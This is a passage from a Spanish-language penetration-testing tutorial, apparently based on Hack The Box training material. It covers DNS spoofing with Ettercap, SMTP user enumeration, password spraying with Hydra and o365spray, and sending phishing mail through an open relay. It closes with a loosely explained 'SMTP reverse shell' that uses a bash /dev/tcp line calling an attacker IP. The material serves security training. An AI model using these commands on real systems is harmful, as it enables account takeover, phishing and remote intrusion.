editar el /etc/ettercap/[Link] archivo para asignar el nombre de dominio de destino (por
ejemplo, [Link]) que quieren falsificar y la dirección IP del atacante (por
ejemplo, [Link]) a la que quieren redirigir a un usuario:

cat /etc/ettercap/[Link]

A continuación, inicie la Ettercap herramienta y busque hosts activos dentro de la red

navegando a Hosts > Scan for Hosts. Una vez completado, agregue la dirección IP de
destino (por ejemplo, [Link]) a Target1 y agregue una IP de puerta de enlace
predeterminada (por ejemplo, [Link]) a Target2.
Activa el ataque dns_spoof navegando a Plugins > Manage Plugins. Esto envía a la
máquina de destino respuestas DNS falsas que se resolverán [Link] en la
dirección IP [Link]:

Después de un ataque de suplantación de DNS exitoso, si un usuario víctima que proviene

de la máquina de destino [Link] visita el [Link] dominio en un
navegador web, será redirigido a un Fake page dominio alojado en la dirección
IP [Link]:
Además, un ping que provenga de la dirección IP de destino [Link]
también [Link] debería resolverse de [Link] la siguiente manera:

Atacando el DNS

Dominio Descripción
dig AXFR @[Link] Realizar un intento de transferencia de
[Link] zona AXFR contra un servidor de nombres
específico.
subfinder -d [Link] -v Subdominios de fuerza bruta.
host [Link] Búsqueda de DNS para el subdominio
especificado.
 Ataques a servicios de correo electrónico

Un mail server servidor de correo electrónico (a veces también denominado servidor de

correo electrónico) es un servidor que maneja y envía correo electrónico a través de una
red, generalmente a través de Internet. Un servidor de correo puede recibir correos
electrónicos de un dispositivo cliente y enviarlos a otros servidores de correo. Un servidor de
correo también puede enviar correos electrónicos a un dispositivo cliente. Un cliente es
generalmente el dispositivo donde leemos nuestros correos electrónicos (computadoras,
teléfonos inteligentes, etc.).

Cuando pulsamos el Send botón en nuestra aplicación de correo electrónico (cliente de

correo electrónico), el programa establece una conexión con un SMTP servidor de la red o
Internet. El nombre SMTP significa Protocolo simple de transferencia de correo y es un
protocolo para enviar correos electrónicos desde clientes a servidores y desde servidores a
otros servidores.

Cuando descargamos correos electrónicos a nuestra aplicación de correo electrónico,

ésta se conectará a un servidor POP3 o a IMAP4 una aplicación en Internet, lo que permite
al usuario guardar los mensajes en un buzón del servidor y descargarlos periódicamente.

De forma predeterminada, POP3 los clientes eliminan los mensajes descargados del servidor
de correo electrónico. Este comportamiento dificulta el acceso al correo electrónico en
varios dispositivos, ya que los mensajes descargados se almacenan en la computadora
local. Sin embargo, normalmente podemos configurar un POP3 cliente para que conserve
copias de los mensajes descargados en el servidor.

Por otro lado, de forma predeterminada, IMAP4 los clientes no eliminan los mensajes
descargados del servidor de correo electrónico. Este comportamiento facilita el acceso a
los mensajes de correo electrónico desde varios dispositivos. Veamos cómo podemos
apuntar a los servidores de correo.
Enumeración

Los servidores de correo electrónico son complejos y, por lo general, requieren que
enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de las
empresas tienen sus servicios de correo electrónico en la nube con servicios como Microsoft
365 o G-Suite . Por lo tanto, nuestro enfoque para atacar el servicio de correo electrónico
depende del servicio en uso.

Podemos utilizar el registro DNS Mail eXchanger (MX) para identificar un servidor de correo.
El registro MX especifica el servidor de correo responsable de aceptar mensajes de correo
electrónico en nombre de un nombre de dominio. Es posible configurar varios registros MX,
que normalmente apuntan a una matriz de servidores de correo para equilibrar la carga y
lograr redundancia.

Podemos utilizar herramientas como host o dig y sitios web en línea como MXToolbox para
consultar información sobre los registros MX:

Host - MX Records - Anfitrión - Registros MX

host -t MX [Link]

host -t MX [Link]

DIG - Registros MX

dig mx [Link] | grep "MX" | grep -v ";"

dig mx [Link] | grep "MX" | grep -v ";"

Anfitrión - A Records

host -t A [Link].

Estos MX registros indican que los primeros tres servicios de correo utilizan servicios en la nube
G-Suite ([Link]), Microsoft 365 ([Link]) y
Zoho ([Link]), y el último puede ser un servidor de correo personalizado alojado por
la empresa.

Esta información es esencial porque los métodos de enumeración pueden diferir de un

servicio a otro. Por ejemplo, la mayoría de los proveedores de servicios en la nube utilizan
su implementación de servidor de correo y adoptan una autenticación moderna, lo que
abre vectores de ataque nuevos y únicos para cada proveedor de servicios. Por otro lado,
si la empresa configura el servicio, podríamos descubrir malas prácticas y configuraciones
erróneas que permitan ataques comunes a los protocolos del servidor de correo.

Si nuestro objetivo es una implementación de servidor de correo personalizado

como [Link], podemos enumerar los siguientes puertos:

PUERTOS SMTP – POP3 – IMAP4

Puerto Servicio
TCP/25 SMTP sin cifrar
TCP/143 IMAP4 sin cifrar
TCP/110 POP3 sin cifrar
TCP/465 SMTP encriptado
TCP/587 SMTP cifrado/ STARTTLS
TCP/993 IMAP4 encriptado
TCP/995 POP3 encriptado
Podemos usar la opción Nmap de script predeterminada -sC para enumerar esos puertos
en el sistema de destino:

nmap -Pn -sV -sC -p25,143,110,465,587,993,995 [Link]

Configuraciones erróneas

Los servicios de correo electrónico utilizan la autenticación para permitir que los usuarios
envíen y reciban correos electrónicos. Puede producirse una configuración incorrecta
cuando el servicio SMTP permite la autenticación anónima o admite protocolos que se
pueden utilizar para enumerar nombres de usuario válidos.

Autenticación

El servidor SMTP tiene distintos comandos que se pueden utilizar para enumerar nombres de
usuario válidos VRFY, EXPN, y RCPT TO. Si enumeramos correctamente nombres de usuario
válidos, podemos intentar rociar contraseñas, forzar la contraseña o adivinar una
contraseña válida. Así que, exploremos cómo funcionan esos comandos.

VRFY Este comando indica al servidor SMTP receptor que verifique la validez de un nombre
de usuario de correo electrónico en particular. El servidor responderá indicando si el usuario
existe o no. Esta función se puede desactivar.

Comando VRFY

telnet [Link] 25 - VRFY root - VRFY www-data

EXPN es similar a VRFY, excepto que cuando se usa con una lista de distribución, enumerará
a todos los usuarios de esa lista. Esto puede ser un problema mayor que el VRFY comando,
ya que los sitios suelen tener un alias como "all".

telnet [Link] 25 - EXPN john - EXPN support-team

RCPT TO Identifica al destinatario del mensaje de correo electrónico. Este comando se

puede repetir varias veces para un mensaje determinado a fin de entregar un único
mensaje a varios destinatarios.

telnet [Link] 25 - MAIL FROM:test@[Link] - RCPT TO:julio - RCPT TO:john

También podemos utilizar el POP3 protocolo para enumerar usuarios según la
implementación del servicio. Por ejemplo, podemos utilizar el comando USER seguido del
nombre de usuario y si el servidor responde OK. Esto significa que el usuario existe en el
servidor.

Comando USUARIO

USER john

Para automatizar nuestro proceso de enumeración, podemos utilizar una herramienta

llamada smtp-user-enum . Podemos especificar el modo de enumeración con el
argumento -M seguido de VRFY, EXPN, o RCPT, y el argumento -U con un archivo que
contenga la lista de usuarios que queremos enumerar. Según la implementación del
servidor y el modo de enumeración, necesitamos agregar el dominio para la dirección de
correo electrónico con el argumento -D. Finalmente, especificamos el destino con el
argumento -t.

smtp-user-enum -M RCPT -U [Link] -D [Link] -t [Link]

Enumeración de nubes

Como se mencionó, los proveedores de servicios en la nube utilizan su propia

implementación para los servicios de correo electrónico. Estos servicios suelen tener
funciones personalizadas que podemos aprovechar para su funcionamiento, como la
enumeración de nombres de usuario. Usemos Office 365 como ejemplo y exploremos cómo
podemos enumerar nombres de usuario en esta plataforma en la nube.

O365spray es una herramienta de enumeración de nombres de usuario y pulverización de

contraseñas destinada a Microsoft Office 365 (O365) desarrollada por ZDH . Esta
herramienta reimplementa una colección de técnicas de enumeración y pulverización
investigadas e identificadas por quienes se mencionan en Agradecimientos . Primero,
validemos si nuestro dominio de destino usa Office 365.

Aerosol O365

python3 [Link] --validate --domain [Link]

Ahora, podemos intentar identificar nombres de usuario.

Ataques de contraseña

Podemos utilizarlo Hydra para realizar un ataque de fuerza bruta o un ataque por
pulverización de contraseñas contra servicios de correo electrónico como SMTP, POP3
o IMAP4. Primero, necesitamos obtener una lista de nombres de usuario y una lista de
contraseñas y especificar qué servicio queremos atacar. Veamos un ejemplo para POP3.

Hydra - Ataque de contraseña

hydra -L [Link] -p 'Company01!' -f [Link] pop3

hydra -l user@[Link] -P [Link] smtp://[Link] -I -w 60 -V -o [Link]

Si los servicios en la nube admiten los protocolos SMTP, POP3 o IMAP4, es posible que
podamos intentar realizar un rociado de contraseñas con herramientas como Hydra, pero
estas herramientas suelen estar bloqueadas. En su lugar, podemos intentar utilizar
herramientas personalizadas como o365spray o MailSniper para Microsoft Office 365
o CredKing para Gmail u Okta. Tenga en cuenta que estas herramientas deben estar
actualizadas porque si el proveedor de servicios cambia algo (lo que sucede a menudo),
es posible que las herramientas dejen de funcionar. Este es un ejemplo perfecto de por qué
debemos comprender lo que hacen nuestras herramientas y tener los conocimientos
necesarios para modificarlas si no funcionan correctamente por algún motivo.
O365 Spray - Pulverización de contraseñas

python3 [Link] --spray -U [Link] -p 'March2022!' --count 1 --lockout 1 --domain

[Link]

Ataques específicos del protocolo

Un servidor de retransmisión abierta es un SMTP servidor de Protocolo simple de transferencia

de correo (Simple Mail Transfer Protocol,) que está configurado incorrectamente y permite
una retransmisión de correo electrónico no autenticada. Los servidores de mensajería que
se configuran accidental o intencionalmente como retransmisiones abiertas permiten que
el correo de cualquier origen se redirija de forma transparente a través del servidor de
retransmisión abierta. Este comportamiento enmascara la fuente de los mensajes y hace
que parezca que el correo se originó en el servidor de retransmisión abierta.

Relé abierto

Desde el punto de vista de un atacante, podemos aprovechar esto para realizar phishing
enviando correos electrónicos como usuarios inexistentes o falsificando el correo
electrónico de otra persona. Por ejemplo, imaginemos que estamos apuntando a una
empresa con un servidor de correo de retransmisión abierta e identificamos que utiliza una
dirección de correo electrónico específica para enviar notificaciones a sus empleados.
Podemos enviar un correo electrónico similar utilizando la misma dirección y agregar
nuestro enlace de phishing con esta información. Con el nmap smtp-open-relay script,
podemos identificar si un puerto SMTP permite una retransmisión abierta.

nmap -p25 -Pn --script smtp-open-relay [Link]

A continuación, podemos utilizar cualquier cliente de correo para conectarnos al servidor
de correo y enviar nuestro correo electrónico.

swaks --from notifications@[Link] --to employees@[Link] --header

'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete
the following survey. [Link] --server [Link]

Comandos Enumerar usuarios SMTP

smtp-user-enum -M VRFY -U [Link] -t [Link]

smtp-user-enum -M EXPN -u admin1 -t [Link]
smtp-user-enum -M RCPT -U [Link] -T [Link]
smtp-user-enum -M EXPN -D [Link] -U [Link] -t [Link]

smtp-user-enum -M VRFY -U [Link] -D [Link] -t [Link]

smtp-user-enum -M EXPN -U [Link] -D [Link] -t [Link]
smtp-user-enum -M RCPT -U [Link] -D [Link] -t [Link]
smtp-user-enum -M RCPT -U [Link] -D [Link] -t [Link]
 Conectar a un servidor SMTP

Conectar al servidor SMTP con telnet:

telnet servidor_smtp 25

O bien, en caso de que uses un puerto seguro (como el 587 o 465), puedes usar openssl para
establecer una conexión TLS:

openssl s_client -starttls smtp -connect servidor_smtp:587

Comandos básicos de SMTP:

EHLO tu_dominio.com EHLO: Inicia la conexión e identifica el cliente.

AUTH LOGIN AUTH LOGIN: Si el servidor requiere
autenticación.
echo -n "usuario@[Link]" | base64 El servidor pedirá primero el usuario y luego la
echo -n "contraseña" | base64 contraseña en base64. Convertir las
credenciales a base64 así
DATA DATA: Inicia el cuerpo del mensaje. Termina el
Subject: Prueba de correo mensaje con un punto en una línea nueva (.).

Este es el cuerpo del mensaje.

.
QUIT QUIT: Termina la sesión.

Leer correos (POP3 o IMAP)

Conectar a un servidor POP3

telnet servidor_pop3 110 Conectar con telnet

USER tu_usuario USER: Autenticar el nombre de usuario.
PASS tu_contraseña PASS: Autenticar la contraseña.
LIST LIST: Muestra una lista de mensajes en la
bandeja de entrada.
RETR 1 RETR: Lee un mensaje específico (por
número).
QUIT QUIT: Termina la sesión.

Conectar a un servidor IMAP

telnet servidor_imap 143 Conectar con telnet

a1 LOGIN tu_usuario tu_contraseña LOGIN: Inicia sesión en la cuenta de correo.
a2 SELECT INBOX SELECT INBOX: Selecciona la bandeja de
entrada.
a3 FETCH 1 BODY[TEXT] FETCH: Lee un mensaje específico.
a4 LOGOUT LOGOUT: Cierra la sesión.
 REVERSE SHELL SMTP:

Reverse shell mediante el servicio de correo SMTP

[Link] la máquina comprometida, abra una conexión de socket a un servidor SMTP

controlado por el atacante:
nc [Link] 25
[Link]íe un saludo inicial al servidor SMTP:
EHLO mi_dominio.com
[Link] sesión en el servidor SMTP enviando el comando "AUTH LOGIN". Proporcione su
nombre de usuario y contraseña codificados en Base64:
AUTH LOGIN
Username: tu_nombre_de_usuario_en_Base64
Password: tu_contraseña_en_Base64
[Link]íe el correo electrónico que contiene el código del shell inverso. Asegúrese de que
el cuerpo del correo electrónico contenga el código del shell inverso que ejecutará la
conexión inversa con la máquina del atacante:
MAIL FROM: <tu_direccion_de_correo_electronico>
RCPT TO: <destinatario@[Link]>
DATA
From: <tu_direccion_de_correo_electronico>
To: <destinatario@[Link]>
Subject: Ejecutar shell inverso
#!/bin/bash
bash -i >& /dev/tcp/IPatacante/4444 0>&1

No olvidar poner el atacante a la escucha:

nc -lvnp 4444

Se ha publicado un exploit en la plataforma Exploit-DB para esta vulnerabilidad que puede

utilizarse para realizar un análisis más detallado y la funcionalidad del disparador para la
ejecución de comandos del sistema.

Próximos pasos
Como hemos visto, los ataques de correo electrónico pueden dar lugar a la divulgación de
datos confidenciales mediante el acceso directo a la bandeja de entrada de un usuario o
mediante la combinación de una configuración incorrecta con un correo electrónico de
phishing convincente. Existen otras formas de atacar los servicios de correo electrónico que
también pueden ser muy eficaces. Algunos casos de Hack The Box demuestran ataques de
correo electrónico, como Rabbit , que se ocupa de la fuerza bruta de Outlook Web Access
(OWA) y, a continuación, envía un documento con una macro maliciosa para suplantar la
identidad de un usuario; SneakyMailer , que tiene elementos de phishing y enumera la
bandeja de entrada de un usuario mediante Netcat y un cliente IMAP; y Reel , que se
ocupa de la fuerza bruta de los usuarios SMTP y el phishing con un archivo RTF malicioso.
Vale la pena jugar con estas cajas, o al menos mirar el video de Ippsec o leer un tutorial
para ver ejemplos de estos ataques en acción. Esto se aplica a cualquier ataque
demostrado en este módulo (u otros). El sitio [Link] se puede utilizar para buscar
términos comunes y mostrará en qué cajas HTB aparecen, lo que revelará una gran
cantidad de objetivos contra los que practicar.